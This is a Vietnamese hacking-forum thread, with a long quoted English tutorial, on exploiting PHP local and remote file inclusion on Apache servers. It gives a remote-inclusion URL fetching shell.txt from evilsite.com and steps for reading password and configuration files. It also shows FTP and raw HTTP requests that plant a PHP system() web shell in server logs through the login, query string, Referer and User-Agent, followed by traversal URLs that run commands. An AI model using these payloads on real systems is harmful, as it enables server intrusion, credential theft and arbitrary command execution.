...

Điều kiện hiện tại: website sử dụng Apache (cứ cho là) cài đặt mặc định (tức ko thay đổi các thiết lập về đường dẫn, config file, log file.v.v.), PHP4, Safemode OFF và attacker không được phép đưa bất cứ thứ gì lên website đó.
... 

.. hình như ko anh nào hứng thú với chủ đề này .. View count hơn 80 rồi mà chẳng dc mấy người tham gia .. 

.. hình như ko anh nào hứng thú với chủ đề này .. View count hơn 80 rồi mà chẳng dc mấy người tham gia .. 

site.com/?html=http://evilsite.com/shell.txt

 

@ anh pnco: Chính xác. Tiếp tục đi anh . Khai thác thế nào nữa đây ạh..

(P/S: tới giờ mới biết cái này kêu là "HTTP Request Smuggling". Hì hì )..) 

...nếu log file là symlink của /dev/null thì sao. 

Embedding PHP Code into Log Files
Suppose that there is a vulnerability of the local PHP source code injection type on a server.

Note that the attacker doesn't need to create a new file. He or she can just edit an existing one so that it contains some PHP code.

This brings up the question: Which files on the server can a remote user change? You might think that a user without access to the server couldn't change any files. However, remember that the server can log certain events, and what data will be written into the log files depends on the user to some extent.

Consider an example. Suppose that the attacker has investigated the internals of the server using the local PHP source code injection vulnerability. He or she cannot upload a file with malicious PHP code to the server but can obtain the contents of files on the server.

The attacker is likely to analyze the server settings that have the same names in different systems (e.g., /etc/passwd). In addition, the attacker is likely to try to find the server configuration file that contains much interesting information.

To obtain unauthorized access to directories protected with passwords, the attacker will try to read configuration files that specify how the directories can be accessed. In the Apache server, these files usually have the .htaccess name.

These files can contain the path to the file with passwords. The attacker can read this file using the vulnerability. Having obtained the contents of the file, he or she can try to find the passwords.

As a rule, such files contain password hashes, rather than the passwords. Although recovering a password from its hash is a complicated problem, it is a matter of time and computational resources to solve it.

An access procedure can also be contained in the server configuration files. In the Apache server, this file is called HTTPD.CONF. It can be located in various directories, such as the following:

/ETC/HTTPD.CONF

/ETC/CONF/HTTPD.CONF

/ETC/APACHE/CONF/HTTPD.CONF

/USR/LOCAL/ETC/APACHE/CONF/HTTPD.CONF

/USR/LOCAL/CONF/HTTPD.CONF

In rare cases, the file can have a name other than HTTPD.CONF.

The attacker is likely to try reading the contents of system log files. In particular, he or she can be interested in the following files:

/VAR/LOG/MESSAGES

/VAR/LOG/HTTPD-ACCESS.CONF

/VAR/LOG/HTTPD-ERROR.LOG

/VAR/LOG/MAILLOG

/VAR/LOG/SECURITY

These are files in Unix-like operating systems.

Suppose that the attacker noticed that the /VAR/LOG/MESSAGES file is updated daily and has a small size. He or she will analyze, which events are logged in the file. He or she will also analyze other log files available for reading to the user who started the server.

A common situation is authorization errors are logged in the /VAR/LOG/MESSAGES file and some other log files. Suppose that the hacker noticed the following lines in the /VAR/LOG/MESSAGES file:

Sep 1 00:00:00 server ftpd[12345]: user "anonymous" access denied
Sep 1 00:00:10 server ftpd[12345]: user "vasya" access denied
Sep 1 00:00:20 server ftpd[12345]: user "test" access denied

This means that messages containing FTP server authorization errors are written into this file. Then the attacker will check which characters can be specified in a login. He or she will connect to the server's FTP port and try to authorize using logins with various characters.

A dialog between the attacker and the FTP server could be like this:

$ telnet ftp.test.ru 21
Trying 127.0.0.1...
Connected to ftp.test.ru.
Escape character is '^]'.
220 ftp.test.ru FTP server ready.
USER anonymous
331 Password required for anonymous.
PASS test
530 Login incorrect.
USER test'test'
331 Password required for test'test'.
PASS test
530 Login incorrect.
USER test test
331 Password required for test test.
PASS test
530 Login incorrect.
USER <hello>
331 Password required for <hello>.
PASS test
530 Login incorrect.
USER test? $test
331 Password required for test? $test.
PASS test
530 Login incorrect.
QUIT
221 Goodbye.

In certain FTP server implementations with certain FTP server settings, the /VAR/LOG/MESSAGES file could contain the following lines after this session:

Sep 1 00:01:00 server ftpd[12345]: user "anonymous" access denied
Sep 1 00:01:10 server ftpd[12345]: user "test'test'" access denied
Sep 1 00:01:20 server ftpd[12345]: user "test test" access denied
Sep 1 00:01:30 server ftpd[12345]: user "<hello>" access denied
Sep 1 00:01:40 server ftpd[12345]: user "test? $test" access denied


As you can see, the logins are written to the log file as they are. The hacker can embed PHP shell code into the /VAR/LOG/MESSAGES file using the following dialog with the FTP server:

$ telnet ftp.test.ru 21
Trying 127.0.0.1...
Connected to ftp.test.ru.
Escape character is '^]'.
220 ftp.test.ru FTP server ready.
USER <? system(stripslashes($_GET['cmd'])); ?>
331 Password required for <? system(stripslashes($_GET['cmd'])); ?>.
PASS test
530 Login incorrect.
QUIT
221 Goodbye.

As a result, the following data will be logged in /var/log/messages:

Sep 1 00:01:40 server ftpd[12345]: user "<?
system(stripslashes($_GET['cmd'])); ?>" access denied

The attacker just needs to exploit the local PHP source code injection vulnerability using a request like this:

http://test/test.php?page=./../../../../../var/log/messages%00&cmd=ls+-la

Thus, an attacker can execute any command on a vulnerable server.

Note that a similar request was used earlier to obtain the contents of files that didn't contain PHP code.

Now, I'd like to describe another method for embedding PHP code into log files to exploit the vulnerability by including and executing the files. Try to include some code into Apache log files. This task is more difficult than embedding code into FTP server log files because the browser by default will URL-encode certain characters, such as a question mark and a space.

A simple example demonstrates that spaces aren't necessary when writing PHP shell code:

<?system(stripslashes($cmd));?>

This is correct PHP code although it contains no spaces.

However, other URL-encoded characters are still required. These are <, >, $, (, ), and ?. In addition, you may need quotation marks or apostrophes.

What if you don't stick to the standard and try to create a request so that the characters you need aren't URL-encoded?

To do this, you can use the program making any requests, which was described earlier, or create the request manually by connecting to the HTTP server port.

GET /?<?system(stripslashes($_GET['cmd']));?> HTTP/1.1
Accept: */*.
Accept-Language: en-us.
Accept-Encoding: deflate.
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0)
Host: www.test.ru
Connection: Close
Referer: http://www.localhost.ru/

Apache, one of the most popular Web servers, will log the following line:

127.0.0.1 - - [01/Sep/2004:14:00:00 +0000] " GET
/?<?system(stripslashes($_GET['cmd']));?> HTTP/1.1" 200 2393 "
http://www.localhost.ru/" " Mozilla/4.0 (compatible; MSIE 5.0;
Windows NT 5.0)"

As you can see, this line contains correct PHP code that can be executed by the PHP interpreter:

<?system(stripslashes($_GET['cmd']));?>

Suppose the log file that contains successful requests is the following: /VAR/LOG/HTTPD-ACCESS.LOG. To exploit the include(".. /data/$id.html" vulnerability, the attacker would send a request that could include the log file to execute the PHP shell code that executes any system command. The request should be like this:

http://test/test.php?page=./../../../../../var/log/httpd-access.log%00&cmd=ls+-la

Consider another example of embedding PHP shell code into values of the HTTP Referer header:

GET / HTTP/1.1
Accept: */*.
Accept-Language: en-us.
Accept-Encoding: deflate.
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0)
Host: www.test.ru
Connection: Close
Referer: http://www.localhost.ru/?<?system(stripslashes($_GET['cmd']));?>


In this case, the Apache server will write the PHP shell code into the Referer field. The /VAR/LOG/HTTPD-ACCESS. LOG file will contain the following:

127.0.0.1 - - [01/Sep/2004:14:00:00 +0000] " GET / HTTP/1.1" 200 2393
" http://www.localhost.ru/?<?system(stripslashes($_GET['cmd']));?>" "
Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0)"

Writing PHP code into the Referer field is necessary when GET parameters are filtered on the server. For example, this is done when the mod_security module of Apache is used.

Sometimes, it is impossible to embed PHP shell code into the Referer field. For example, if the value of this field is filtered or isn't logged, the attacker can try to embed code into the Agent field of an HTTP request. This field indicates the browser used on the client and, therefore, theoretically can contain any characters.

An example of an HTTP request sending PHP shell code as a browser's name is the following:

GET / HTTP/1.1
Accept: */*.
Accept-Language: en-us.
Accept-Encoding: deflate.
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0 <?
system(stripslashes($_GET['cmd'])); ?>
Host: www.test.ru
Connection: Close
Referer: http://www.localhost.ru/

The PHP shell code will be there instead of the Agent field if the server logs the value of this field.

If many sites are located on a hosting server, their log files often are individual and are not collected in one file. It is difficult for the attacker to guess the locations of these files. In addition, log files with error messages can be different for different Web sites, and their names are also difficult to guess.

The attacker who can access the configuration file of the Web server can find the locations of these files. However, the Apache server writes certain error messages into the common error log file rather than into error log files of the sites. As a rule, this file is located at /VAR/LOG/HTTPD-ERROR.LOG; however, this isn't always the case.

This file contains error messages that cannot be assigned to a particular host, for example, when the host name sent in the HOST header of an HTTP request isn't found among the names of the virtual hosts on the server.

Here is an example of a request that results in writing the attacker's malicious data into the log file:

GET /not-existent.html?<?system(stripslashes($_GET['cmd']));?> HTTP/1.1
Accept: */*.
Accept-Language: en-us.
Accept-Encoding: deflate.
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0)
Host: www.not-existent.ru
Connection: Close
Referer: http://www.localhost.ru/

The /VAR/LOG/HTTPD-ERROR. LOG file will contain the following lines:

[Wed Sep 1 10:00:05 2004] [error] [client 127.0.0.1] File does not exist:
/usr/local/www/not existent.html?<?system(stripslashes($_GET['cmd']));?>

As you can see, there is PHP shell code in the log file. However, attempts to embed PHP code into a common error log file are rarely successful. The Apache server often discards GET parameters when adding records to the error log file (this depends on configuration).

Even if you delete the question mark after the name of the nonexistent file, the following line will be written into the log file:

[Wed Sep 1 10:00:05 2004] [error] [client 127.0.0.1] File does not
exist: /usr/local/www/not-existent.html<

This is because you have to leave the next question mark in the <? PHP tag.

There can be a rare exception when the PHP interpreter is configured so that it can accept other types of tags, for example, <% %>.

Note that the attacker would avoid embedding into log files a PHP code that is too complicated. If the embedded code contained an error, he or she wouldn't be able to delete it. At the same time, the error in the code would make it impossible to use the file for exploitation of the PHP source code injection.

Therefore, the attacker would test, which characters are written into the log file, before he or she embedded PHP code. The attacker would need to check whether the question mark (?), the greater-than (> and less-than (< characters, the apostrophe ('), the quotation mark (", the dollar sign ($), and the blank space are written into log files without substitution. Based on the results of this test, the attacker would write PHP code that didn't contain filtered characters. In addition, he or she would need to create a request to execute it only once.

The methods for embedding PHP code into log files described here aren't universal. However, they demonstrate the danger of the local PHP source code injection vulnerability. 

iem cũng chẳng hiểu gì,
chỉ bổ sung đoạn trên cho phù hợp, là nếu dùng browser như Firefox thì chèn mã khai tác vào User Agent (được apache log lại trong /home/hostings/webs/victim.net/logs/access_log): about:config >> filter: general.useragent.extra.firefox.
Khai thác lỗi:
Code:

?html=/home/hostings/webs/victim.net/logs/access_log

 

gsmth wrote:

iem cũng chẳng hiểu gì,
chỉ bổ sung đoạn trên cho phù hợp, là nếu dùng browser như Firefox thì chèn mã khai tác vào User Agent (được apache log lại trong /home/hostings/webs/victim.net/logs/access_log): about:config >> filter: general.useragent.extra.firefox.
Khai thác lỗi:
Code:

?html=/home/hostings/webs/victim.net/logs/access_log

 

đồng chí đang nói gì vậy? 

abcerrorac.ac.<?php include($remotefile); ?>xyztvdsvsdn